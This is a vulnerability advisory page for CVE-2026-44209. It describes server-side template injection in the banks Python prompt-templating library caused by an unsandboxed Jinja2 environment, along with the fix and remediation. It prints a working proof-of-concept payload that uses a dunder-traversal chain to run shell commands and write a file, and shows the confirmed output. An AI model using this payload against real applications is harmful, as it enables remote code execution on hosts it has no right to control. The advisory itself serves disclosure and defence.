Skip to main content

banks CVE-2026-44209

HIGH
Improper Neutralization of Special Elements Used in a Template Engine (CWE-1336)
2026-05-08 https://github.com/masci/banks GHSA-gphh-9q3h-jgpp
7.5
CVSS 3.1 · Vendor: https://github.com/masci/banks
Share

Severity by source

Vendor (https://github.com/masci/banks) PRIMARY
7.5 HIGH
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
vuln.today AI
7.5 HIGH

AC:H and UI:R because exploitation requires the non-default pattern of feeding untrusted input as the template; PR:N as banks imposes no auth; C/I/A:H for full host RCE.

3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:N/AC:H/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Red Hat
7.5 HIGH
qualitative

Primary rating from Vendor (https://github.com/masci/banks).

CVSS VectorVendor: https://github.com/masci/banks

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 23, 2026 - 22:45 vuln.today
Analysis Generated
Jul 23, 2026 - 22:45 vuln.today
CVE Published
May 08, 2026 - 20:36 nvd
HIGH 7.5

DescriptionCVE.org

Summary

banks <= 2.4.1 uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.

This is a vulnerability in how banks initializes its Jinja2 environment - not in Jinja2 itself.

Vulnerable Code

src/banks/env.py - the global Jinja2 environment is created without sandboxing:

python
env = Environment(
    autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False),
    ...
)

Attack Scenario

An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to Prompt() is vulnerable. For example:

python
# User-controlled input reaches Prompt()
user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(user_input)
p.text()
# Executes arbitrary command on the host

Proof of Concept

Setup:

bash
pip install banks==2.4.1

PoC script:

python
from banks import Prompt

payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(payload)
result = p.text()
print(f"[+] Output: {result}")

Confirmed output:

[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...

text

**File-write proof:**

from banks import Prompt

p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}") p.text()

ls -l /tmp/rce_banks_exec

-rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec

## Impact

Applications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.
## Fix

Fixed in `banks 2.4.2` (PR #74) by switching to `jinja2.sandbox.SandboxedEnvironment`, which blocks the dunder attribute traversal chain this exploit relies on.

Developers on `banks <= 2.4.1` should upgrade to `2.4.2` and avoid passing untrusted user input as the template argument to `Prompt()`.
## Resources
- Fix: https://github.com/masci/banks/pull/74
- CVE-2024-41950 (Haystack - identical root cause, CVSS 7.5)
- CVE-2025-25362 (spacy-llm - identical root cause)
- CWE-1336: Improper Neutralization of Special Elements in a Template Engine

AnalysisAI

Server-Side Template Injection leading to Remote Code Execution affects the banks LLM prompt-templating library (versions <= 2.4.1), which renders Jinja2 templates through an unsandboxed jinja2.Environment(). Any application that passes attacker-controlled strings as the template argument to Prompt() lets an attacker traverse Python dunder attributes to import os and run arbitrary host commands. A working proof-of-concept exists (publicly available exploit code exists) demonstrating command execution and file writes; there is no evidence of active exploitation (EPSS 0.15%, not in CISA KEV).

Technical ContextAI

banks is a Python library that builds and renders LLM prompts using the Jinja2 template engine. The root cause is CWE-1336 (improper neutralization of special elements in a template engine): in src/banks/env.py the shared engine is instantiated as jinja2.Environment() rather than jinja2.sandbox.SandboxedEnvironment, so template expressions are evaluated with full Python object access. This allows the classic SSTI escape chain self.__init__.__globals__.__builtins__.__import__('os').popen(...) to reach the operating system. The affected package per CPE is pkg:pip/banks (all versions <= 2.4.1). This is the same class of flaw seen in CVE-2024-41950 (Haystack) and CVE-2025-25362 (spacy-llm), both of which shared the unsandboxed-Jinja2 pattern.

RemediationAI

Vendor-released patch: banks 2.4.2, which switches src/banks/env.py to jinja2.sandbox.SandboxedEnvironment to block the dunder attribute-traversal chain (PR #74, https://github.com/masci/banks/pull/74). Upgrade with pip install --upgrade 'banks>=2.4.2' and review GHSA-gphh-9q3h-jgpp. Because the vendor explicitly warns the sandbox is not a hard security boundary, do not treat the upgrade as sufficient on its own: never construct Prompt() from user-controlled strings - keep the template static and pass user data through the rendering context, e.g. Prompt('Write about {{ topic }}.').text({'topic': user_input}) instead of Prompt(user_input). If upgrading is not immediately possible, the compensating control is to eliminate any code path where externally sourced template text (database rows, API request bodies, user config files) reaches the Prompt() template argument; the trade-off is that any feature letting users author full templates must be disabled or converted to a fixed-template-plus-variables model.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

Share

CVE-2026-44209 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy